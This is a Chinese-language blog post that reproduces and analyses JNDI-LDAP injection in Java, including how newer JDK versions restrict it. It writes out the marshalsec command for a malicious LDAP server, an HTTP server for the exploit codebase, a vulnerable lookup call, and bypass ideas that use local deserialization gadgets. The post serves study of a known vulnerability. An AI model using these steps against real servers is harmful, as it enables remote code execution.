引用参考【1】
除了RMI服务之外,JNDI还可以对接LDAP服务,LDAP也能返回JNDI Reference对象,利用过程与上面RMI Reference基本一致,只是lookup()中的URL为一个LDAP地址:ldap://xxx/xxx,由攻击者控制的LDAP服务端返回一个恶意的JNDI Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。
不过在2018年10月,Java最终也修复了这个利用点,对LDAP Reference远程工厂类的加载增加了限制,在Oracle JDK 11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值被调整为false,还对应的分配了一个漏洞编号CVE-2018-3149。
不赘述JNDI相关背景,本节主要复现JNDI-LDAP注入,以及如何绕过高版本jdk上的限制
JNDI-LDAP注入
先复现,后分析
复现
常见的利用方法是直接利用marshalsec搭建一个恶意的ldap server
开启Evil LDAP Server
1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0:8000/#Exploit
启动Evil Codebase Server
python -m SimpleHTTPServer 8000
启动Vuln Client
1
2Context ctx = new InitialContext();
Object local_obj = ctx.lookup("ldap://127.0.0.1:389/cn=bar,dc=test");
注意调试时Vuln Client目录不要有Exploit类,不然会优先加载本地类。
LDAP
LDAP全称是轻量级目录访问协议(The Lightweight Directory Access Protocol),详细可以参考【4】。
这段用解释的很好,直接拿来用:
目录数据库和关系数据库不同,它有优异的读性能,但写性能差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。所以目录天生是用来查询的,就好象它的名字一样。
约定的属性字段及其含义如下:
具体LDAP传输的数据格式参考【7】
参考【6】,快速搭建LDAP Server测试
这里都不赘述,大概了解即可
JNDI 与 LDAP
JNDI即 Java命令和目录接口(Java Naming and Directory Interface),LDAP是一个目录协议,那么JNDI over LDAP就可以理解了。
那么具体Java的对象要怎么存储在LDAP属性内呢?参考【5】,可以存储以下这些java对象
- Java serializable objects
- Referenceable objects and JNDI References
- Objects with attributes (DirContext)
- RMI (Java Remote Method Invocation) objects (including those that use IIOP)
- CORBA objects
其中,上文复现的payload,就是利用的2 Reference对象,reference对象可以简单理解为引用,类似linux 的ln -s,前文RMI中也有介绍过,还有绕过RMI高jdk限制的org.apache.naming.ResourceRef。
分析
来看看marshalsec.jndi.LDAPRefServer,其中重要的部分
1 | protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { |
解释下其中这几个字段的含义
- objectClass “javaNamingReference”,注意此处指定为javaNamingReference对象,后面两个都可以理解为javaNamingReference的参数
- javaClassName “foo”
- javaCodeBase codebase server地址,http://0.0.0.0:8000/
- javaFactory “Exploit”
那么以上几种不同的objectClass对应的name和参数如何,参考【8】、【9】
类似的其他objectClass对应的参数都可以在参考【9】中找到
高版本JDK限制
com.sun.jndi.ldap.object.trustURLCodebase
Oracle JDK 11.0.1、8u191、7u201、6u211,trustURLCodebase default false,限制了远程加载codebase
限制逻辑在com.sun.naming.internal.VersionHelper12
1 | /** |
绕过高版本限制
现在常见的文章里提到的绕过高版本jdk jndi-ldap注入,一般都和参考【1】相同,这里直接引用
这里 javaCodebase 属性可以指定远程的URL,这样黑客可以控制反序列化中的class,通过JNDI Reference的方式进行利用(这里不再赘述,示例代码可以参考文末的Demo链接)。不过像前文所说的,高版本JVM对Reference Factory远程加载类进行了安全限制,JVM不会信任LDAP对象反序列化过程中加载的远程类。此时,攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
其实trustURLCodebase限制的是2 中的远程Referenceable objects,那还有1、3、4、5类型嘛,常见文章里提到的都是利用1。很好理解,触发本地Gadget,不赘述。
总结
本节主要是在参考【1】、【2】等文章基础上,复现JNDI-LDAP的注入逻辑,简要解析了marshalsec.jndi.LDAPRefServer背后的相关原理:LDAP 属性及协议数据结构、JNDI-LDAP支持的Java类型。最后简要跟踪分析了高版本jdk trustURLCodebase的限制逻辑。
以上基本都是师傅们文章里常见的内容,在此基础上抛出三个问题留待下一篇跟进
- 不用marshalsec.jndi.LDAPRefServer,要怎么自己实现Evil LDAP Server?
- trustURLCodebase限制的是2 中的远程Referenceable ,那么类似绕过RMI 用到的本地org.apache.naming.ResourceRef之类的Ref可用吗?
- 除了利用java类型1,3、4、5可以绕过吗?